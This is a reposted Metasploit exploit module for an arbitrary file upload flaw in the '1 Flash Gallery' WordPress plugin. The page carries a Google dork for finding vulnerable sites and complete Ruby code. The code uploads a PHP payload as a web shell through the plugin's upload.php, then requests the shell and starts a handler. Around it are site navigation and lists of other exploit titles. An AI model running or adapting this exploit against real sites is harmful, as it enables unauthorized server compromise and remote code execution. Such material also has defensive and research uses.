首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Wordpress 1 Flash Gallery Plugin Arbiraty File Upload Exploit (MSF)
来源:http://www.metasploit.com 作者:Schmidt 发布时间:2011-09-09  

# Exploit Title: 1 Flash Gallery Wordpress Plugin Arbitrary File Upload Exploit
# # Google Dork:  inurl:"wp-content/plugins/1-flash-gallery"
# # Date: 09/06/2011
# # Author: Ben Schmidt
# # Software Link: http://downloads.wordpress.org/plugin/1-flash-gallery.1.5.6.zip
# # Version: v1.30 to v1.5.7a (tested on 1.5.6 and 1.5.7 prior to patch)

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => '1 Flash Gallery Wordpress Plugin File Upload Exploit',
   'Description'    => %q{
            This module exploits an arbitrary file upload vulnerability in
            the '1 Flash Gallery' Wordpress plugin.
   },
   'Author'         => [ 'Ben Schmidt'],
   'License'        => MSF_LICENSE,
   'References'     => ["http://spareclockcycles.org/2011/09/06/flash-gallery-arbitrary-file-upload/" ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     # Arbitrary big number. The payload gets sent as an HTTP
     # POST request, so it's possible this might be smaller (maybe?)
                    # but very unlikely.
     'Space'       => 262144, # 256k
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DefaultTarget' => 0,
            'DisclosureDate' => 'Sept 6, 2011'
            ))

  register_options([
    OptString.new('URI', [true, "Path to Wordpress", "/"]),
   ], self.class)
 end

    def exploit
  boundary = rand_text_alphanumeric(6)
        fn = rand_text_alphanumeric(8)
  data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filedata\"; "
  data << "filename=\"#{fn}.php\"\r\nContent-Type: application/x-httpd-php\r\n\r\n"
  data << payload.encoded
  data << "\r\n--#{boundary}--"

  res = send_request_raw({
   'uri'   => datastore['URI'] + "/wp-content/plugins/1-flash-gallery/upload.php?action=uploadify&fileext=php",
   'method'  => 'POST',
   'data'    => data,
   'headers' =>
   {
    'Content-Type'  => 'multipart/form-data; boundary=' + boundary,
    'Content-Length' => data.length,
   }
  }, 25)

        if (res)
   print_status("Successfully uploaded shell.")
            shell_path = res.body.split("_")[0]
            print_status("Trying to access shell at #{shell_path}...")
            res = send_request_raw({
                'uri'   => datastore['URI'] + shell_path,
                'method'  => 'GET',
            }, 0.01)

  else
   print_error("Error uploading shell")
  end

        handler
    end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·DVD X Player 5.5 Pro (SEH DEP
·ludmila_f FTP Remote Buffer Ov
·Ubuntu <= 11.04 ftp client Loc
·CinePlayer Surround Universal
·WVxWorks FTP server Password O
·Windows Server 2008 R1 Local D
·N-TRACK Studio universal Local
·Crush FTP 5 'APPE' command Rem
·PHP "phar/phar_object.c" forma
·Wing FTP Server USER Buffer Ov
·BisonFTP Server Remote Buffer
·Mp3 Audio Editor Local Buffer
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved